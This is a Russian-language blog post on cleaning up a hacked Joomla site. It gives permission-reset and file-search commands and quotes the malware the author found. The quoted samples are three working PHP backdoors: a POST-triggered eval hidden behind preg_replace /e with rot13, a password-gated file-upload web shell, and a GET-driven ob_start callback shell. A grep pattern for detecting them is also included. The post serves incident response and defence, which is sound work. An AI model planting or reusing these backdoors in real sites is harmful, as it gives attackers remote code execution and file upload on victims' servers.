среда, 23 марта 2016 г.

Проверка безопасности сайта после взлома

Проверьте уровень разрешений для файлов и папок (например, 777 разрешает запись любому пользователю). Помните, что хакеры часто меняют разрешения, оставляя себе лазейку для возврата на сайт.
  • Проверьте все каталоги с разрешением выше 755 (rwxr-xr-x). Понизьте уровень доступа, если в нем нет крайней необходимости. В Unix-подобных системах используйте команду:
    find <имя-каталога> -type d -not -perm 755 -exec ls -ld {} \;
  • Проверьте все файлы с разрешением выше 644 (rw-r--r--). Понизьте уровень доступа, если в нем нет крайней необходимости.
    find <имя-каталога> -type f -not -perm 644 -exec ls -la {} \;
     
     
     
    Меняем права на папки и файлы, предварительно перейдя в каталог с сайтом 
    find ./ -type d -print0 | xargs -0 chmod 0755 # for directories
    find ./ -type f -print0 | xargs -0 chmod 0644 # for files
     
     
    После взлома остается много файлов с таким содержанием
    <?php if($_GET['test']){echo 'success';}else{($www= $_POST['gaw7b']) 
    && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');} 
    
    
    Ключевой фразой котрая как правило не используется в обычных сайтах является
    preg_replace('/ad/e' 
     
    Поэтому ищем все сайты с таким содержимым и удаляем или чистим их
    sudo grep -iRI "preg_replace('/ad/e'" /путь/к/вашему/сайту.com/
    
    
    также я заметил, что у злоумышленников принято слова в файлах разделять тире, 
    а в моем сайте на joomla используется подчеркивание.
     
    поэтому ищем все php файлы с тире
    sudo find /путь/к/вашему/сайту.com/ -name *-*.php 
     
    Помимо некоторого количество языковых фалов и файлов кеша, 
    в названии  которых используется тире,было найдено немного интересного
    /components/com_users/views/registration/conf-e0.php
    /plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php
    /administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.php
    /administrator/components/com_installer/views/update/tmpl/utf8-99.php
     
     
    в файле /plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php был найден
    загрузчик 
    <?php if(md5($_GET["ms-load"])=="e4ec7518484164c0c70e3147d84be250"){
    $p=$_SERVER["DOCUMENT_ROOT"];
    $tyuf=dirname(__FILE__);
    echo <<<HTML
    <form enctype="multipart/form-data"  method="POST">
    Path:$p<br>
    <input name="file" type="file"><br>
    To:<br>
    <input size="48" value="$tyuf/" name="pt" type="text"><br>
    <input type="submit" value="Upload">
    $tend
    HTML;
    if (isset($_POST["pt"])){
    $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
    if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
    if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
    echo"uploaded:$uploadfilen";
    echo"Size:".$_FILES["file"]["size"]."n";
    }else {
    print "Error:n";
    }
    }
    }
    
    
    в файле /administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.php
    тоже интересное
    <?php
        $id = $_GET['pppj3'];
        echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
        $s = '';
        foreach(array($id) as $v){
            $s.=$v;
        }
        ob_start($s);
        if($catid){
                echo $catid;
        }
        ob_end_flush();
    
    Остальных двух файлах была вышеприведенная строка с preg_replace('/ad/e'
    
    
    
    
    
    

Комментариев нет:

Отправить комментарий